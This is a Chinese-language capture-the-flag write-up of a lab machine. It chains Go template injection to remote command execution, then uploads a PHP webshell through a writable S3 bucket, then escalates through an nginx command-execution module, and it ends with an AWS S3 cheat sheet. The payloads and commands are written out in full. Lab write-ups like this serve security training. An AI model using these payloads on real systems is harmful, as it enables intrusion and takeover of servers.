Before all
Victim’s IP : 10.10.10.113
Attacker’s IP : 10.10.14.14
RECON
port scan
Command
1 | rustscan -a 10.10.11.113 --ulimit 5000 -- -sC -sV -Pn |
Result
1 | Open 10.10.11.113:22 |
除了 port 22 是 ssh,其他端口都開了 http service
接下來有爆破目錄 但…沒東西 :D
Exploit
golang ssti
只有 port 8080 有個 login panel 看起來可以打,點擊 forgot password 會進到這裡:
注意到會回顯資料,嘗試進行 SSTI,輸入 {{7*7}}
會噴 ERROR…
以 tinja 輔助進行掃描:
1 | tinja url -u http://10.10.11.113:8080/forgot/ -d 'email=whale@whale.com' |
看 fingerprint 出來的感覺是 GoLang
1 | [*] Verifying html/template. |
輸入 {{.}}
獲得物件資訊,意外發現一組帳密?!
登入後獲得原始碼:
1 |
|
注意到不安全的 DebugCmd 函數可以 RCE,噴個 {{.DebugCmd "whoami"}}
就 PoC 了居然是 root,肯定在容器裡面,甚至 reverse shell 出不來
Abuse s3 bucket
發現 /root 底下有資料夾 .aws,推測接下來要打 Cloud
列舉 s3 bucket:
1 | aws s3 ls s3:// |
找到 bucket website
檢查 ACL:
1 | aws s3api get-bucket-acl --bucket website |
結果:
1 | { |
一般使用者有 FULL_CONTROL (蛤)?!
再 ls 並把裡面的內容抓下來看發現其實就是 port 80 的網站
最後就是再用剛剛的 RCE 寫 webshell,用 cp 指令丟上去:
1 | echo '<?php system($_GET[1]);?>' > shell.php |
最後造訪 http://10.10.11.113/shell.php 就接管整個shell了,彈個 reverse shell
Privilege Escalation
Nginx Shell On
先丟 linpeas 進去掃描
1 | ══╣ PHP exec extensions |
注意到這一段,內網的 port 8000 有開啟 command on,可以去檢查 ngx_http_execute_module.so 看看它啟用的 run 參數具體是什麼:
1 | find / 2>/dev/null | grep ngx_http_execute_module.so |
得到 ippsec.run
Finally:
1 | curl -s -g 'localhost:8000/?ippsec.run[cat /root/root.txt]' |
After all
我可沒有要逃避 CloudSec 題目
補給個 aws s3 bucket 指令整理
aws for s3 101
建立 bucket:
1 | aws s3 mb s3://<bucket-name> |
刪除 bucket:
1 | aws s3 rb s3://<bucket-name> |
上傳檔案到 bucket (下載就反過來):
1 | aws s3 cp <local-file-path> s3://<bucket-name>/<object-key> |
同步資料夾:
1 | aws s3 sync <local-folder> s3://<bucket-name>/<prefix> |
檢查物件詳細資訊:
1 | aws s3api head-object --bucket <bucket-name> --key <object-key> |
刪除物件:
1 | aws s3 rm s3://<bucket-name>/<object-key> |
設定 bucket ACL:
1 | aws s3api put-bucket-acl --bucket <bucket-name> --acl public-read |
獲取 bucket ACL:
1 | aws s3api get-bucket-acl --bucket <bucket-name> |
參數改成 get-bucket-policy 就是對 policy 做操作